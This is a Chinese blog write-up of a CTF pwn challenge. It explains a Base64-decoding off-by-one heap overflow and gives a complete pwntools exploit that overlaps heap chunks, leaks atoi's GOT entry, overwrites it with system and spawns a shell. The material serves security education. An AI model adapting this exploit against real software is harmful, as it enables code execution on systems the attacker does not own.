博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
off-by-one
阅读量:3892 次
发布时间:2019-05-23

本文共 5087 字,大约阅读时间需要 16 分钟。

简介

off-by-one漏洞在堆分配时有比较大的威胁, 在pwn中利用比较常见, 这里介绍一个由base64解码造成的off-by-one漏洞, 这个漏洞在当中是真实存在的, 这里以一个ctf中的pwn题目来介绍一下利用过程;

前置知识

原理在分析程序之前先介绍一下Base64的编码和解码的原理;

Base64编码

Base64编码的原理是将二进制数据进行分组,每24Bit(即3字节)为一个大组,再把一个大组的数据分成46Bit的小分组;

因为6bit数据只能表示64个不同的字符(2^6=64),这64个字符分别对应ASCII码表中的'A'-'Z','a'-'z','0''9','+'和'/'; 这些字符的对应关系是由Base64字符集决定的;
因为小分组中的6Bit数据表示起来不符合计算机的操作习惯,所以要把每个小分组进行高位补零操作,这样的话每个小分组就构成了一个8Bit(1字节)的数据; 在补零操作完成后, 就是将小分组的内容作为Base64字符集的下标,然后一一替换成对应的ASCII字符, 编码工作就完成了;
但是这里面仍然有需要解决的细节问题:
  在编码之前我们无法保证需要编码的字符串长度是3的倍数,所以为了让编码能够顺利进行就必须在获取编码字符串的同时判断字符串的长度是否是3的倍数,如果是3的倍数编码就可以正常进行,如果不是3的倍数就要进行补零的操作,就是要在不足3的倍数的字符串末尾用\x00进行填充;
  这样虽然解决了字符串长度不足的问题了,但是同时也引进了另一个新的问题,那就是末尾补充上的\x00在进行Base64字符集替换的时候会与字符集中的'A'字符发生冲突; 因为字符集中的下标0对应的字符是'A',而末尾填充上的\x00在分组补零后同样是下标0,这样就无法分辨出到底是末尾填充的\x00还是二进制数据中的0x00; 所以为了解决这个问题我们就必须引入Base64字符集外的新字符来区分末尾补充上的\x00,这就是'='字符不在Base64字符集中,但是也出现在Base64编码的原因了,’='字符在一个Base64编码的末尾中最多会出现两个,如果不符合这以规则那么这个Base64就可能是错误的或被修改过;
Base64字符集

Base64解码

Base64解密的工作原理相对来说就比较简单了,只需要和加密操作方式相反即可;

  首先将Base64编码根据其对应的字符集转换成下标,这就是补完零后的8Bit(1字节)数据; 在编码操作有补零操作那自然解码操作时就会有去零操作了,我们将这些8Bit数据的最高位上的两个0抹去形成6Bit数据,这也就是前面我们编码操作中提到过的小分组; 最后将每46Bit数据进行合并形成24Bit的大分组,然后将这些大分组按照每组8Bit进行拆分就会得到3个8Bit的数据,此时的8Bit数据就是加密前的数据了, 解码工作好完成了;

题目分析

checksec

checksec

题目主要有4个功能:
notepad
主要用于添加, 显示, 修改和删除一个note, 所有数据的修改都是在基于堆的;

漏洞点

这个程序的漏洞主要在于密码的内存空间的分配上面, 程序是将我们输入的password进行base64解码后存在堆中的:

Passwd
passwd
这里面的v2就是我们输入的password的长度, base64解码的逻辑是把4个字节当做一组,4个字节解码成3个字节, 所以这里如果我们传入的密文长度为4n + 3字节, 则函数会将最后三个字节解码为两个字节, 最终明文长度为3n+2个字节, 但是分配的堆空间的大小为3n+1个字节, 所以这里就会发生off-by-one了;
取个例子:
比如我们设置密码为MTIz时, 解密出来在内存中是0x0000000000333231, 即字符串123, 此时密码长度为4:
123
当我们重新设置密码为MTIzMTI时, 即在MTIz后面加了3个字节,符合4n+1的公式, 此时密码解密出是0x0000003231333231, 即字符串12312
12312
但是这里没有发生溢出的原因是因为堆在分配内存的时候后有一个内存空间补齐的操作, 只要我们构造合适长度的password就可以造成溢出了;
这个密码可以使用:

pay = base64.b64encode(b"a"*0x88+b"\xc1")[:-1] + b"\x00"

其中\xc1就是溢出的那个字节;

利用思路

off-by-one的总体利用思路其实就是利用堆A的溢出, 修改下一个堆Bsize位, 将堆B的大小变大, 从而包含堆’B’的后面一个或多个堆, 然后free掉堆B, 在申请一个大小合适的堆, 结合程序的具体功能我们就可以修改堆中的指针了;

而本程序就是包含堆之后去修改passwordcontent的指针, 从而泄露出got表中atoi函数的内容, 计算出system函数地址并修改, 控制程序流程;
首先分配5个堆, 然后free第2,和第1个:

addnote("1"*0x10, passwd, 0x10, "a"*8)     # 1 addnote("2"*0x10, passwd, 0x100, "a"*8)    # 2 addnote("3"*0x10, passwd, 0x10, "a"*8)     # 3 addnote("4"*0x10, passwd, 0x10, "a"*8)     # 4 addnote("5"*0x10, passwd, 0x10, "a"*8)     # 5 delnote("2"*0x10, passwd)delnote("1"*0x10, passwd)

此时内存堆分布如下:

1
注意红框的部分, 接下来我们要从这个堆里面分一部分出来存放password, 然后利用off-by-one溢出覆盖下个堆的size;

delnote("2"*0x10, passwd)delnote("1"*0x10, passwd)pay = base64.b64encode(b"a"*0x88+b"\xc1")[:-1] + b"\x00"addnote("2"*0x10, pay, 0x10, "q"*8)    # 2

通过下面这个两个图可以看出如果没有off-by-one的内存分布:

未溢出时:
0
可以看出未分配的堆大小为0x80;
溢出后:
2
可以看到我们把未分配的堆大小修改为0xc0了, 也就是说我们把下面的已经分配的堆也分配进去了, 所以下一次我们申请堆的时候可以把已经分配的堆的也包含进去, 从而可以修改指针了;

EXP

from pwn import *context.log_level = 'debug'context.terminal = ['deepin-terminal', '-x', 'sh', '-c']name = "./notepad"p = process(name)elf = ELF(name)libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')if args.G:    gdb.attach(p)    def addnote(name, passwd, size, data):    p.recvuntil("choice> ")    p.sendline("1")    p.recvuntil("name> ")    p.send(name)    p.recvuntil("1:yes, 0:no)> ")    p.sendline("1")    p.recvuntil("password> ")    p.sendline(str(passwd, encoding="utf-8"))    p.recvuntil("content size> ")    p.sendline(str(size))    p.recvuntil("content> ")    p.sendline(data)def shownote(name, passwd):    p.recvuntil("choice> ")    p.sendline("2")    p.recvuntil("name> ")    p.send(name)    p.recvuntil("password> ")    p.sendline(str(passwd, encoding="utf8"))def editnote(name, passwd, newpasswd, size, data):    p.recvuntil("choice> ")    p.sendline("3")    p.recvuntil("name> ")    p.send(name)    p.recvuntil("password> ")    p.sendline(str(passwd, encoding="utf8"))    p.recvuntil("1:yes, 0:no)> ")    p.sendline("0")    # p.recvuntil("password> ")    # p.sendline(str(newpasswd, encoding="utf8"))    p.recvuntil("content size> ")    p.sendline(str(size))    p.recvuntil("content> ")    p.send(data)def delnote(name, passwd):    p.recvuntil("choice> ")    p.sendline("4")    p.recvuntil("name> ")    p.send(name)    p.recvuntil("password> ")    p.sendline(str(passwd, encoding="utf8"))    passwd = base64.b64encode(b"sir")newpasswd = base64.b64encode(b"cc-sir")addnote("1"*0x10, passwd, 0x10, "a"*8)     # 1 addnote("2"*0x10, passwd, 0x100, "a"*8)    # 2 addnote("3"*0x10, passwd, 0x10, "a"*8)     # 3 addnote("4"*0x10, passwd, 0x10, "a"*8)     # 4 addnote("5"*0x10, passwd, 0x10, "a"*8)     # 5 delnote("2"*0x10, passwd)	# delete 2delnote("1"*0x10, passwd)	# delete 1pay = base64.b64encode(b"a"*0x88+b"\xc1")[:-1] + b"\x00"addnote("2"*0x10, pay, 0x10, "q"*8)    # off-by-one   修改堆的大小payload = b"s"*0x78 + p64(0x31) + b"c"*0x10 + p64(0x401981) + p64(0x602090)addnote("6"*0x10, passwd, 0xb0, payload)    # 6 包含后面的堆    shownote("c"*0x10, base64.b64encode(b"choice> "))atoi_addr = u64(p.recv(6) + b"\x00\x00")system_addr = atoi_addr + 0xb200print("atoi_addr: " + hex(atoi_addr))print("system_addr: " + hex(system_addr))editnote("c"*0x10, base64.b64encode(b"choice> "), newpasswd, 8, p64(system_addr))p.recvuntil("choice> ")p.sendline("/bin/sh\x00")p.interactive()

运行结果:

pwn

转载地址:http://pmlhn.baihongyu.com/

你可能感兴趣的文章
nginx另类复杂的架构
查看>>
Nginx流量复制/AB测试/协程
查看>>
使用NTP服务器完美解决VMware Linux时间无法同步问题
查看>>
机器学习笔记(3)---K-近邻算法(1)---约会对象魅力程度分类
查看>>
机器学习笔记(4)---K-近邻算法(2)---使用sklearn中的KNN算法
查看>>
数据结构——外部排序
查看>>
UNIX网络编程——System V 消息队列
查看>>
信号量、互斥锁,读写锁和条件变量的区别
查看>>
UNIX网络编程——Posix共享内存区和System V共享内存区
查看>>
js循环语句
查看>>
js中时钟的写法
查看>>
js事件冒泡
查看>>
Django模型中的字段类型和字段约束
查看>>
京东金融曹鹏:通过JDD大赛,实现“比你更懂你”的极致价值,让金融更简单,更平等
查看>>
HTML我的家乡杭州网页设计作业源码(div+css)~ HTML+CSS网页设计期末课程大作业 ~ web前端开发技术 ~ web课程设计网页规划与设计 ~HTML期末大作业
查看>>
HTML网页设计期末课程大作业~动漫樱桃小丸子5页表格div+css学生网页设计作业源码
查看>>
HTML学生网页设计作业成品~化妆品官方网站设计与实现(HTML+CSS+JS)共8个页面
查看>>
web课程设计网页规划与设计~在线阅读小说网页共6个页面(HTML+CSS+JavaScript+Bootstrap)
查看>>
HTML期末大作业~棋牌游戏静态网站(6个页面) HTML+CSS+JavaScript
查看>>
XmlValidationModeDetector源码分析
查看>>